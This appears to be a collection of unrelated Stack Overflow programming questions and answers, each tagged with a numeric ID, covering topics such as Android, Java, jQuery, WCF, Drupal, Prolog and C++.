23781245	0	How to convert an element css to JSON? <p>I let my users to change any attribute(location, color, and ...) of every element in a page before printing.</p> <p>I'm looking for a way which user can store the new style sheet and restore it anytime later?</p> <p>I've tried to parse <code>element.style</code>, but it doesn't return an array! Also <code>$(element).css()</code> doesn't work without any argument! </p>
28979134	0	 <p>Erm, i think i found a solution here, the file i downloaded from the internet is not password protected, it is just in protected mode.</p> <p>so the answer to this is basically to disable the protected mode in excel. thanks for the answer anyway. @Hao</p>
9776678	0	 <p>Once you have your <code>JFrame</code> or <code>JPanel</code>, add a text field to it.</p> <p><code>JTextArea</code> is a good choice, because it's multiple lines. Once it is added, you can <code>.append('text');</code> to it instead of writing the <code>System.out.print();</code></p> <pre><code>JFrame jFrame = new JFrame(); JTextArea jTextArea = new JTextArea(); jTextArea.append( "Hello World." ); jFrame.add( jTextArea ); </code></pre>
1325866	0	 <p>I download the latest version from SubSonic's <a href="http://github.com/subsonic/SubSonic-3.0-Templates/tree/master" rel="nofollow noreferrer">github</a> and everything is OK!</p> <p>The new version a new T4 file: <strong>Structs.tt</strong></p>
35317573	0	counts iteration in a nest for-loop <p>Here is the pseudo code:</p> <pre><code>for i=1 to n for j=1 to n for k=1 to j x = x+1 </code></pre> <p>and I have to calculate these two thing (i) count it precisely (ii) find it big-O</p> <p>in (i), my final answer is n^4+2n^3+5n^2+4n+2. in (ii), because there are three loop, so it's O(n^3);</p> <p>It seem that there must be an error either (i) or (ii) since (i) raise to the power 4, and the big-O is just 3.</p> <p>Here is my step when counting the iteration:</p> <pre><code>for(i=1; i &lt;=n; i++) </code></pre> <p>count as 1+(n+1)+n which is (2n+2).</p> <p>So, (2n+2)+n(2n+2)+n(4+6+8+...+2n+2)+n^2(1+2+3+...+n)(2) which finally come out with n^4(see the last term, sum of AS * n).</p>
29295593	0	 <p>Here i Used Content Dialog Box.</p> <p>Button_Click Code</p> <pre><code>ContentDialog msg = new ContentDialog(); msg.Content = "Data Saved Successfully"; msg.ContentTemplate = Application.Current.Resources["ContentDialogContentTemplate"] as DataTemplate; msg.PrimaryButtonText = CommonDisplayMessages.DisplayMessage_Yes; </code></pre> <p>await msg.ShowAsync();</p>
37755323	0	 <p>You can also use the <code>setAttribute()</code> function</p> <pre><code>function showElements(){ document.getElementsByClassName('blah')[0].setAttribute("data-symbol",document.getElementById('search').value); } </code></pre>
6925500	0	 <p>finally i've come up the conclusion with the help of Naresh (thank you). Here the short summary: at the first run i was trying to copy my 1.6mb data.db file from assets to /data.../databases folder which one never existed. So </p> <pre><code>OutputStream os = new FileOutputStream(destPath); </code></pre> <p>line gave error. But after that line my dbhelper instance called getreadabledatabase which created the databases folder under specified path. Android put a db with same name but no useful data in it. In my copyDatabase method i updated it as follows:</p> <pre><code>InputStream is = getBaseContext().getAssets().open(assetsDB); //when there is no databases folder fileoutputstream gives error, //we have to make sure databases folder exists DbAdapter temp = new DbAdapter(getApplicationContext()); temp.open(); //gets readable database: creates databases folder containing DB_NAME db temp.close(); //since we don use this temp, we close //this wont give error: because path is now exists (databases folder exists) OutputStream os = new FileOutputStream(destPath); //copying 1K bytes at a time byte[] buff = new byte[1024]; </code></pre> <p>this is the solution i've come up with. By the way, former sdk's of 2.3 assets database size should be less than 1mb. This is anohter issue and found the solution <a href="http://ponystyle.com/blog/2010/03/26/dealing-with-asset-compression-in-android-apps/" rel="nofollow">here</a></p>
8601307	0	Widening and boxing with java <p>In Java programming language widen and boxing doesn't work, but how does it work in following example?</p> <pre><code>final short myshort = 10; Integer iRef5 = myshort; </code></pre> <p>Why does this work? Is this not the same as widen and then box?</p> <p>But if I write the following code:</p> <pre><code>final int myint = 10; Long myLONG = myint; </code></pre> <p>why it doesn't work?</p>
2671400	0	Why would some POST data go missing when using Uploadify? <p>I have been using Uploadify in my PHP application for the last couple months, and I've been trying to track down an elusive bug. I receive emails when fatal errors occur, and they provide me a good amount of details. I've received dozens of them. I have not, however, been able to reproduce the problem myself. Some users (like myself) experience no problem, while others do.</p> <p>Before I give details of the problem, here is the flow.</p> <ul> <li>User visits edit screen for a page in the CMS I am using.</li> <li>Record id for the page is put into a form as a hidden value.</li> <li>User clicks the Uploadify browse button and selects a file (only single file selection is allowed).</li> <li>User clicks Submit button for my form.</li> <li>jQuery intercepts the form submit action, triggers Uploadify to start uploading, and returns false for the submit action (manually cancelling the form submit event so that Uploadify can take over).</li> <li>Uploadify uploads to a custom process script.</li> <li>Uploadify finishes uploading and triggers the Javascript completion callback.</li> <li>The Javascript callback calls $('#myForm').submit() to submit the form.</li> </ul> <p>Now that's what SHOULD happen. I've received reports of the upload freezing at 100% and also others where "I/O Error" is displayed.</p> <p>What's happening is, the form is submitting with the completion callback, but some post parameters present in the form are simply not in the post data. The id for the page, which earlier I said is added to the form as a hidden field, is simply not there in the post data ($_POST)--there is no item for 'id' in the $_POST array. The strange thing is, the post data DOES contain values for some fields. For instance, I have an input of type text called "name" which is for the record name, and it does show up in the post data.</p> <p>Here is what I've gathered:</p> <ul> <li>This has been happening on Mac OSX 10.5 and 10.6, Windows XP, and Windows 7. I can post exact user agent strings if that helps.</li> <li>Users must use Flash 10.0.12 or later. We've made it so the form reverts to using a normal "file" field if they have &lt; 10.0.12.</li> </ul> <p>Does anyone have ANY ideas at all what the cause of this could be?</p>
40409502	0	How to read values from a text file and saving as the custom property[SOAP UI] <p>I have two values in the text file as follows:</p> <pre><code>12345 67895 </code></pre> <p>I want to save these two values as two custom properties so I can use it in my soap request. </p> <p>This is what I have so far but no luck:</p> <pre><code>def myTestCase = context.testCase // configure the path to your textfile here File tempFile = new File("C:\Users\cverma\Desktop\SOAPProject\testdata.txt") List lines = tempFile.readLines() </code></pre> <p>I am getting this error:</p> <blockquote> <p>org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed: Script22.groovy: 4: unexpected char: '\' @ line 4, column 29. File tempFile = new File("C:\Users\cverma\Desktop\SOAPProject\testdata.txt") ^ org.codehaus.groovy.syntax.SyntaxException: unexpected char: '\' @ line 4, column 29. at org.codehaus.groovy.antlr.AntlrParserPlugin.transformCSTIntoAST(AntlrParserPlugin.java:135) at org.codehaus.groovy.antlr.AntlrParserPlugin.parseCST(AntlrParserPlugin.java:108) at org.codehaus.groovy.control.SourceUnit.parse(SourceUnit.java:236) at org.codehaus.groovy.control.CompilationUnit$1.call(CompilationUnit.java:162) at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(CompilationUnit.java:912) at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:574) at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:550) at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:527) at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:279) at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:258) at groovy.lang.GroovyShell.parseClass(GroovyShell.java:613) at groovy.lang.GroovyShell.parse(GroovyShell.java:625) at groovy.lang.GroovyShell.parse(GroovyShell.java:652) at groovy.lang.GroovyShell.parse(GroovyShell.java:643) at com.eviware.soapui.support.scripting.groovy.SoapUIGroovyScriptEngine.compile(SoapUIGroovyScriptEngine.java:138) at com.eviware.soapui.support.scripting.groovy.SoapUIGroovyScriptEngine.run(SoapUIGroovyScriptEngine.java:89) at com.eviware.soapui.impl.wsdl.teststeps.WsdlGroovyScriptTestStep.run(WsdlGroovyScriptTestStep.java:141) at com.eviware.soapui.impl.wsdl.panels.teststeps.GroovyScriptStepDesktopPanel$RunAction$1.run(GroovyScriptStepDesktopPanel.java:250) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Caused by: Script22.groovy:4:29: unexpected char: '\' at org.codehaus.groovy.antlr.parser.GroovyLexer.mESC(GroovyLexer.java:2180) at org.codehaus.groovy.antlr.parser.GroovyLexer.mSTRING_CTOR_END(GroovyLexer.java:2226) at org.codehaus.groovy.antlr.parser.GroovyLexer.mSTRING_LITERAL(GroovyLexer.java:1985) at org.codehaus.groovy.antlr.parser.GroovyLexer.nextToken(GroovyLexer.java:468) at org.codehaus.groovy.antlr.parser.GroovyLexer$1.nextToken(GroovyLexer.java:258) at groovyjarjarantlr.TokenBuffer.fill(TokenBuffer.java:69) at groovyjarjarantlr.TokenBuffer.LA(TokenBuffer.java:80) at groovyjarjarantlr.LLkParser.LA(LLkParser.java:52) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.nls(GroovyRecognizer.java:796) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.newExpression(GroovyRecognizer.java:13525) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.primaryExpression(GroovyRecognizer.java:10993) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.pathExpression(GroovyRecognizer.java:11595) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.postfixExpression(GroovyRecognizer.java:13332) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.unaryExpressionNotPlusMinus(GroovyRecognizer.java:13301) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.powerExpressionNotPlusMinus(GroovyRecognizer.java:13005) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.multiplicativeExpression(GroovyRecognizer.java:12937) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.additiveExpression(GroovyRecognizer.java:12607) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.shiftExpression(GroovyRecognizer.java:9824) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.relationalExpression(GroovyRecognizer.java:12512) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.equalityExpression(GroovyRecognizer.java:12436) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.regexExpression(GroovyRecognizer.java:12384) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.andExpression(GroovyRecognizer.java:12352) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.exclusiveOrExpression(GroovyRecognizer.java:12320) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.inclusiveOrExpression(GroovyRecognizer.java:12288) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.logicalAndExpression(GroovyRecognizer.java:12256) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.logicalOrExpression(GroovyRecognizer.java:12224) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.conditionalExpression(GroovyRecognizer.java:4850) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.assignmentExpression(GroovyRecognizer.java:8027) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.expression(GroovyRecognizer.java:10001) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.expressionStatementNoCheck(GroovyRecognizer.java:8353) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.varInitializer(GroovyRecognizer.java:2682) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.variableDeclarator(GroovyRecognizer.java:7928) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.listOfVariables(GroovyRecognizer.java:7882) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.variableDefinitions(GroovyRecognizer.java:2278) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.declaration(GroovyRecognizer.java:2165) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.statement(GroovyRecognizer.java:1208) at org.codehaus.groovy.antlr.parser.GroovyRecognizer.compilationUnit(GroovyRecognizer.java:757) at org.codehaus.groovy.antlr.AntlrParserPlugin.transformCSTIntoAST(AntlrParserPlugin.java:131) ... 20 more 1 error</p> </blockquote>
35548217	0	packaging options based on product flavor in gradle <p>I m using packaging options to exclude some libs. Is it possible to have packaging options based on product flavor. For example -</p> <pre><code>android { productFlavors { flavorDimensions 'models' S2 { flavorDimension 'models' minSdkVersion 22 .... } S6 { flavorDimension 'models' minsdkversion 22 .... } } packagingOptions { exclude 'lib/armeabi/libs2.so' exclude 'lib/arm64-v8a/libs6.so } } </code></pre> <p>Now in above code, I want to exclude only <code>'lib/armeabi/libs2.so'</code> in apk generated for <code>s6</code> flavor and want to exclude only <code>'lib/arm64-v8a/libs6.so'</code> in apk generated for <code>s2</code> flavor</p> <p>How can we achieve this. </p>
19901016	0	 <p>The short answer is that you cannot have a zero sized array. Nor can you have an extent with a length of zero for any of its ranks. For better or worse that's just the way it is. C++ AMP assumes that any work passed to it is real work. Remember on the CPU there is no overhead for having a zero length loop or a zero length array. This may not be the case on the GPU, there is still a potential overhead for declaring the array on the accelerator and passing a kernel to the GPU via a DMA buffer. There may also be an underlying limitation in DirectX 11 (I've not had time to look).</p> <p>In this case (unless I'm misunderstanding the problem) work is being done but some of the input data (<code>myArray</code>) may be zero length, but <code>someExtent</code> is non-zero.</p> <p>If in fact <code>someExtent</code> is also zero then the simplest solution would simply be to wrap the code which calls the <code>parallel_for_each</code> in a conditional statement that skips the call entirely for zero values.</p> <p>If <code>someExtent</code> is always non-zero but you need to pass in a zero length <code>myArray</code> then I'd suggest adding one to the length of <code>myArray</code> and simply accounting for that in your calculation.</p> <p>In either case I think this works around the zero length array issue. If it doesn't then please provide more details.</p>
40378821	0	 <p>Advantage of RxJava is asynchronous. You can't predict order of evaluation. I believe you should reach MainActivity from "onError" method. I see, that you use MVP pattern somehow. It should help. If you provide more info about classes relations I could say more.</p>
39588437	0	 <p>I think the pins 12 and 24 (BOARD numberingscheme) are hardware PWM capable, hence more accurate.</p>
14817741	0	Posting data over web services using Java, Ajax and json is not working <p>Could somebody help me with this. This goes always to error, no error message though, just the console.log. Is there any good way to debug this or could you just see what's wrong in this?</p> <p>Thanks! Sami </p> <pre><code>function foo(){ alert('Button pressed'); var user={"id":10,"firstName":" Ted","lastName":"TESTING","age":69,"freeText":"55555","weight":55}; $.ajax({ type: "POST", contentType: "application/json", url: "http://localhost:8080/testSoft/webresources/entity.user/", dataType: "json", data: user, success: function(data){alert(data);}, error: function(data) { console.log('#####################error:################################'+data); alert('addUser error: ' + data.firstName); } }); }; </code></pre> <p>Web service:</p> <pre><code>@POST @Override @Consumes({"application/xml", "application/json"}) public void create(User entity) { super.create(entity); } </code></pre> <p>User</p> <pre><code>public class User implements Serializable { private static final long serialVersionUID = 1L; @Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Basic(optional = false) @Column(name = "id") private Integer id; @Size(max = 45) @Column(name = "firstName") private String firstName; @Size(max = 45) @Column(name = "lastName") private String lastName; @Column(name = "age") private Integer age; @Lob @Size(max = 65535) @Column(name = "freeText") private String freeText; @Column(name = "weight") private Integer weight; </code></pre>
14133215	0	Is there Any free FingerPrint identification SDK Available in .net? <p>I am working on a fingerprint identification system project,Is there any free sdk available for fingerprint identification system?</p>
13635179	0	c++ stl priority_queue with a custom comparator as function parameter <p>I want to use priority_queue and pass it to a function:</p> <pre><code>// compare points according their distance to some target point struct MyComparator { Point target; MyComparator(Point t) : target(t) {} bool operator() (const Point&amp; p1, const Point&amp; p2) { return distance(target, p1) &lt; distance(target, p2); } }; typedef priority_queue&lt;Point, vector&lt;Point&gt;, MyComparator&gt; myque; void myfunc(const Point&amp; target, myque&amp; que) { ... } // call myfunc Point target = ...; myque queue(MyComparator(target)); myfunc(target, queue); // error : no matching function for call to ‘myfunc(const Point&amp;, myque (&amp;)(MyComparator))’ </code></pre> <p>How can I resolve this error?</p> <p>Thanks. </p>
25820898	0	 <p>Many device have different resolution, so problem in your code is marginleft and margintop. Due to them your button position is different in all device. Also android:layout_weight="0.50" should not be used in Relative layout. It will have no affect.</p>
19154549	0	 <ul> <li>This $dbh is unset so it becomes $this->null->beginTransaction().</li> <li>beginTransaction() returns a bool so $stmt becomes bool not PDOStatement</li> </ul> <p>-</p> <pre><code>$stmt=$this-&gt;$dbh-&gt;beginTransaction(); </code></pre> <p>Should probably be something like</p> <pre><code>$this-&gt;dbh-&gt;beginTransaction(); $sql = ... $stmt = $this-&gt;dbh-&gt;prepare($sql); </code></pre> <p>Replace ... with your insert query.</p> <ul> <li>You don't need transactions for just one query.</li> </ul>
40220787	0	Prolog style loop does not overflow? <p>A typical loop code in Prolog is something like:</p> <pre><code>loop_test :- format('loop...~n'), loop_test. </code></pre> <p>as discussed in another question: <a href="http://stackoverflow.com/questions/22885622/how-can-i-simulate-a-while-loop-in-prolog-with-unchangeable-conditions">How Can I simulate a while loop in Prolog with unchangeable conditions?</a></p> <p>Here's my question: Is this recursive form safe against overflow? Typically such a recursive code of C,C++,Python would overflow as in each function call a new stack is added. I executed above <code>loop_test</code> under <code>trace</code>. It was something like:</p> <pre><code>?- trace. ?- loop_test. Call: (6) loop_test2 ? creep Call: (7) format('loop...~n') ? creep loop... Exit: (7) format('loop...~n') ? creep Call: (7) loop_test2 ? creep Call: (8) format('loop...~n') ? creep ... loop... Exit: (158) format('loop...~n') ? creep Call: (158) loop_test2 ? creep Call: (159) format('loop...~n') ? creep ... </code></pre> <p>Clearly the <strong>number</strong> is increasing. With this simple code, I couldn't find the memory increase; I executed <code>loop_test</code> for more than 5 min and tracked VmPeak (peak size of virtual memory) written in /proc/xxx/status, but no change was observed.</p> <p>I want to understand if the above code (<code>loop_test</code>) is really safe? and Why is it safe? (or safer way to implement loops in Prolog).</p> <p>Many thanks.</p>
11494961	0	 <p>This sounds very similar to the problem we faced when starting out. The foundation we laid down when building out the QA team still exists today and is a keystone to the success of the release process.</p> <p>Some high level points on how we structure build release</p> <ul> <li><p>We must, at all times, know what is going in to the code and why. Track intent for changes in a bug tracking system of some sort.</p></li> <li><p>All code check-ins must reference a committed set of work. If it's a QOL enhancement, someone creates a ticket t reference. No unreferenced check-in's!</p></li> <li><p>Code is built from scratch at least once a day, multiple times a day is preferable. QA <strong>always</strong> tests from the latest build. </p></li> <li><p>Build failures are treated with the utmost urgency; fixed immediately.</p></li> <li><p>Builds must be stored on long-term storage of some sort, and used as a basis for delivery. Major milestones are tagged not only on source control but on the long-term storage machine. We use a machine called <em>BuildManager</em> for this purpose</p></li> <li><p>I personally do not believe in separating deployment from the QA team. I believe that each QA Engineer should know how to deploy the application and create necessary test data themselves. There are some trade-offs to this approach, I'm happy to discuss them further if interested</p></li> <li><p>Once code is deployed, a sanity test of some sort must be run. Whether it's a systems/configuration test, or an actual functional verification, you must do whatever you can to ensure this build is not going to waste anyone's time. Reducing the wall time between code check-in and knowing there's a solid build in place is one of the best automation investments you can make.</p></li> </ul> <p>From here, how QA is structured and how they work with other members of the team are as critical as the foundation just discussed.</p>
28534844	0	 <p>Yes, you can basically do the same thing using package name <strong>com.facebook.katana</strong> with the same action (<code>ACTION_VIEW</code>) and using extra Intent.EXTRA_TEXT to set the text.</p>
145419	0	 <p>Sure, just add view-source: in front of the URL.</p> <pre><code>view-source:http://stackoverflow.com/posts/edit/145419 </code></pre> <p>Will show the source of this page for instance - try it in the address bar.</p>
26043472	0	Linq query on Xdocument returns "System.linq.Enumerable+WhereSelectEnumerableIterator'2[system.XML.Linq.Xelement,System.String] <p>I'm using the following XML:</p> <pre><code>&lt;?xml version="1.0" encoding="windows-1252"?&gt; &lt;hexML&gt; &lt;head&gt; &lt;title&gt;&lt;![CDATA[ ]]&gt;&lt;/title&gt; &lt;description&gt;&lt;![CDATA Releases XML]]&gt;&lt;/description&gt; &lt;flastmod date="2014-09-24T16:34:23 CET"/&gt; &lt;/head&gt; &lt;body&gt; &lt;press_releases&gt; &lt;press_release id="1796256" joint_id="383320" language="fr" type="5"&gt; &lt;published date="2014-06-19T11:55:09 CET"/&gt; &lt;categories&gt; &lt;category id="75" label="French" keywords="language"/&gt; &lt;/categories&gt; &lt;headline&gt;&lt;![CDATA[Test Release for Website 3]]&gt;&lt;/headline&gt; &lt;ingress&gt;&lt;/ingress&gt; &lt;location href="http://rthrthrthrtrt.com/test.xml"/&gt; &lt;/press_release&gt; &lt;/press_releases&gt; &lt;/body&gt; &lt;/hexML&gt; </code></pre> <p>I'm trying to get datas through this block of code: </p> <pre><code>cp[cpt, 0] = (from c in xdoc.Descendants("press_release") where (int)c.Attribute("id") == r select c.Element("headline").Value).Single(); cp[cpt, 1] = (from c in xdoc.Descendants("press_release") where (int)c.Attribute("id") == r select (c.Element("published").Attribute("date").Value)).ToString(); cp[cpt, 3] = (from c in xdoc.Descendants("press_release") where (int)c.Attribute("id") == r select c.Element("location").Attribute("href").Value).ToString(); </code></pre> <p>The first instruction returns correctly : Test Release for website 3. On the other hand , the 2 others returns "System.linq.Enumerable+WhereSelectEnumerableIterator'2[system.XML.Linq.Xelement,System.String]" instead.</p> <p>Thank for your help</p> <p>NB: I'm using .NET V3.5</p>
20507952	0	 <p>This problem has been bugged me several times in past 3 years. Every time I met it and fixed it and then forgot to take a note. Next time it happened, I start scratching and search for solution one more time. So, let me record my solution here and share with whoever might deal with this problem. Follow the steps below and make sure your are using JQuery 1.8 or upper with .net framework 4.0 and it will work.</p> <ul> <li>In the behavior note under system.serviceModel note, set to webHttp:</li> </ul> <blockquote> <pre><code>&lt;behaviors&gt; &lt;endpointBehaviors&gt; &lt;behavior name="webHttpBehavior"&gt; &lt;webHttp /&gt; &lt;/behavior&gt; &lt;/endpointBehaviors&gt; &lt;/behaviors&gt; </code></pre> </blockquote> <ul> <li>Define an JsonP binding:</li> </ul> <blockquote> <pre><code>&lt;bindings&gt; &lt;webHttpBinding&gt; &lt;binding name="webHttpBindingWithJsonP" crossDomainScriptAccessEnabled="true" /&gt; &lt;/webHttpBinding&gt; &lt;/bindings&gt; </code></pre> </blockquote> <ul> <li>set your service bindingConfiguration to the binding just defined</li> </ul> <blockquote> <pre><code>&lt;services&gt; &lt;service name="dpRestService.qcmmsService"&gt; &lt;endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" bindingConfiguration="webHttpBindingWithJsonP" contract="gwsRestService.qcmmsService" /&gt; &lt;/service&gt; &lt;/services&gt; </code></pre> </blockquote> <ul> <li>Add Jaon as response Format for ResponseFormat attribute</li> </ul> <blockquote> <p>[WebGet(UriTemplate = "<em>your service template</em>" , ResponseFormat = WebMessageFormat.Json)]</p> </blockquote> <ul> <li>Jquery request:</li> </ul> <blockquote> <p>$.ajax({ url: url, type: 'GET', //Type of ajax call data: {}, contentType: 'application/json', crossDomain: true, dataType: 'jsonp',<br> success: callBackFun, error: errorFun });</p> </blockquote> <p>I hope this will help.</p>
22402313	0	 The basic component processes of Xcode Server, a continuous integration system for iOS and OS X development built by Apple. It is part of OS X Server.
3144418	0	Signal for Entire Row Selection in QTableWidget <p>Is there a signal for when an entire row in the QTableWidget has been selected by pressing the buttons that are stacked on the left? I would like that to enable some functionality, but am not sure how?</p> <p>Thank you in advance!</p>
10019832	0	 <p>You could have Previous/Next buttons quite easily. I would place them outside the TabControl (so you're not duplicating them) and then have their handlers simply increment or decrement the SelectedIndex property of the TabControl.</p> <p>EDIT: Are you aware that you can make tabs not look like tabs? You can set the Appearance property to TabAppearance.Buttons, for instance, and the "tabs" will instead be rendered as buttons, which would make the tab row look more like a breadcrumb control.</p> <p>You can also use Panels overlapped on the Form, and call the BringToFront() method of the Panel representing the Page you want.</p>
36497766	0	 <p>I didn't know that ognl created map can be used to do this...</p> <p><strong>The Solution:</strong></p> <pre class="lang-xml prettyprint-override"><code>&lt;s:iterator value="#{'val1':'abc','val2':'xyz'}" var="some"&gt; &lt;s:radio key="selectedId" list="#some" listKey="key" listValue="value"/&gt;&lt;br/&gt; &lt;/s:iterator &gt; </code></pre>
29265555	0	managed_file form element doesn't render correctly <p>I have a simple managed file form element that is the only element in my form. It looks like this:</p> <pre><code>$form['upload'] = array( '#type' =&gt; 'managed_file', '#title' =&gt; t('Select a YML file'), '#progress_message' =&gt; t('Please wait...'), '#progress_indicator' =&gt; 'bar', '#description' =&gt; t('Click "Browse..." to select a file to upload.'), '#required' =&gt; TRUE, '#upload_validators' =&gt; array('file_validate_extensions' =&gt; array('yml txt docx')), '#upload_location' =&gt; $upload_dest, ); </code></pre> <p>When I render the form using the drupal_get_form callback in hook_menu I get a perfectly formed managed_file upload field with the browse and upload buttons. Things change when I decide I want to add a table of information underneath the form. This requires building a table using theme functions then adding that to the form by rendering the form and appending the table. I create my table and add it to the form:</p> <pre><code>$rows = array(); foreach($yml_files as $yml_file){ $rows[] = array($yml_file-&gt;uri, $yml_file-&gt;filename); } $output = drupal_render($form['upload']); $output .= theme('table', array('header'=&gt;$header, 'rows'=&gt;$rows)); return $output; </code></pre> <p>When I generate the form using drupal_render, I get the nice help text, but no upload form. The table renders fine in both scenarios and I'm not seeing any errors.</p> <p>If Drupal uses drupal_render to render its forms why would the form look different in the second scnenario? Is there a way to get the entire form? I've tried a variety of ways of passing the form and using dpm to print the form at various stages and I'm not sure where to go from here.</p> <p>Standard file upload fields render correctly as do other form elements. It seems to be limited to the managed_file element.</p>
27589056	0	 <p>I would use <a href="http://www.regular-expressions.info/lookaround.html" rel="nofollow">negative lookahead</a> like below,</p> <pre><code>&gt;&gt;&gt; re.sub(r'(?!-)\W', r' ', 'black-white') 'black-white' &gt;&gt;&gt; re.sub(r'(?!-)\W', r' ', 'black#white') 'black white' </code></pre> <p><code>(?!-)\W</code> the negative lookahead at the start asserts that the character we are going to match would be any from the <code>\W</code> (non-word character list) but not of hyphen <code>-</code> . It's like a kind of substraction, that is <code>\W - character present inside the negative lookahead</code> (ie. hyphen).</p> <p><a href="https://regex101.com/r/sS1qO8/2" rel="nofollow">DEMO</a></p>
8367052	0	 <p>I think actually the answer for what you're trying to do is a 'git clone' of your github repository - the command for that is given to you on github above latest commits when you open that repository. Get your boss to run clone on his machine, then build/whatever in the usual way.</p> <p>Github pull requests are just a notification that you've changed something to get someone else on github (perhaps the project you initially forked, perhaps one that has forked you) to do a pull and review/merge/whatever.</p>
40929986	0	Uploading multiple files along with body using REST in the request <p>I am trying to send json data and multiple files in the request in spring rest controller. When sending through Advanced Rest Client, it is giving media type unsupported. Is the code below is correct in the controller side ? I have tried sending the body and multiple files in the Advanced Rest Client, is that way correct or any changes needed ? Where is the problem ? </p> <p>Rest controller code -</p> <pre><code>public @ResponseBody String handleMultiFileUpload(@RequestBody Object fullNameWithId,@RequestParam("file") MultipartFile[] files){ // code for manipulating data and uploading to server } </code></pre> <p>Below are the images what I am currently dealing with.</p> <p><a href="https://i.stack.imgur.com/YeKYZ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YeKYZ.png" alt="enter image description here"></a></p> <p><a href="https://i.stack.imgur.com/dhZkF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dhZkF.png" alt="enter image description here"></a></p>
26447424	0	How to re-create jQuery data-table on ajax response? <p>I am creating a jQuery data-table based on some search criteria using ajax call &amp; response. I am able to create the table. But when I try to search again, I am getting the below error.</p> <blockquote> <p>DataTables warning: table id=sendBulkEmailTable - Cannot reinitialise DataTable. For more information about this error, please see <a href="http://datatables.net/tn/3" rel="nofollow">http://datatables.net/tn/3</a></p> </blockquote> <p>I guess I cannot re-create the data table again. Can somebody provide a solution to my problem, how can I refresh the data of my table on next search.</p> <p>jQuery ajax call I wrote is: </p> <pre><code> $("#tableId").dataTable({ "data": res.ajaxResult.data, "columns": [ { "data": "data1" }, { "data": "data2" }, { "data": "data3" }, { "data": "data4" }, { "data": "data5" } ] }); </code></pre>
6950609	0	 <p>The <code>Sender</code> of the event is the button, so save the "appData" into button's tag (when you create it) and then in the mouse event use it, ie</p> <pre><code>procedure TForm3.CreateAppButton(sBtnCapt: string); ... begin AppData := TAppDetails.Create(sBtnCapt); with NewButton do begin Tag := NativeInt(AppData); ... end; //AppData.Free; // NB! do not free here! end; procedure TForm3.btnMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState;X, Y: Integer); var AppData: TAppDetails; begin ... else if Button = mbRight then begin AppData := TAppDetails((Sender as TSpeedButton).Tag); // use the appData ShellExecute(self.Handle, 'open', PChar(AppData.Wiki), nil, nil, SW_SHOWNORMAL); //AppData.Free; // NB! do not free here! end; end; procedure TForm3.DeleteAppButton(aBtn: TSpeedButton); begin TAppDetails(aBtn.Tag).Free; aBtn.Free; end; </code></pre> <p>Note that you have to free the objects you saved into button's tag when the buttons are freed (unless the buttons are not freed until app terminates, then you don't have to worry about it althought it isn't good style).</p>
22034071	0	Does npm shrinkwrapping a module in npm do anything? <p>If I shrinkwrap a module I publish to npm, does that affect in any way the installation of modules that depend on that module? Or does npm simply ignore the shrinkwrap file of dependencies and only look at the package.json?</p>
795921	0	Verifying a release builds <p>My projects reference static DLLs I've created. These projects are setup to make sure a corresponding build phase occurs. Meaning, if I build in simulator/debug, the static library will have an up to date simulator/debug build. I can verify my app works fine except for device/release. Is there a way to verify device/release? It's sort of like throwing it over the wall to Apple without any verification.</p>
